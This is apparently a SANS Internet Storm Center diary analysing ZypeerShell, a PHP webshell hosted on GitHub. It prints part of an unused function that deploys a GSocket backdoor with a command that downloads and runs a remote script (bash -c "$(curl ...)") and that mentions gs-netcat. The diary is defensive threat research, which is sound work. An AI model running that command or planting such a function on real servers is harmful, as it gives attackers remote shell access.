Webshells have been popular for a long time. We already covered this topic across multiple diaries[1][2]. I spent some time to track them[3] and slighly paid less attention to them but today I found another one. It seems to be a new player (pushed on Github two months ago).
The webshell is called ZypeerShell[4] and pretend to be “The most powerful, undetectable, and feature-rich PHP webshell available on GitHub.”. The shell is classic and provides most of the expected features for such tool:
I won’t review all the features because they are classic. In the webshell version I found, some functions were present but never called from the GUI. By example, the function zypeergsdeploy() helps to connect to a C2 server through GSocket
function zypeergsdeploy() {
zypeerhead();
echo '<div class="header"><center><p><div class="txtfont_header">| GSocket Deploy Tool |</div></p></center><br>';
echo '<div style="text-align:center;max-width:800px;margin:20px auto;color:#ccc;">';
echo 'This tool runs the official GSocket installation command:<br>';
echo '<code style="background:#222;padding:8px 12px;font-size:15px;">bash -c "$(curl -fsSL https://gsocket.io/y)"</code><br><br>';
echo 'After installation, it will show a secret token and connection command (like gs-netcat -s "XXXX" -i).<br>';
echo 'Click "Run" below to execute it directly.';
echo '</div><br><hr><br>';
if (!isset($_POST['zypeer3']) || $_POST['zypeer3'] !== '>>') {
[...]
This function is never called!
Note that the Github repository contains a version obfusctated with Fortress Layer, a multi-layer loader with integrity checks. Zypeer is also referenced as a red-team tool on a Telegram channel:
???????
[1] https://isc.sans.edu/diary/Webshells+Webshells+everywhere/28106
[2] https://isc.sans.edu/diary/Webshell+looking+for+interesting+files/23567
[3] https://owasp.org/www-chapter-belgium/assets/2017/2017-05-29/2017-05-29_OWASP-BE_HTTPForTheGoodOrTheBad.pdf???????
[4] https://github.com/sagsooz/ZypeerShell???????
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
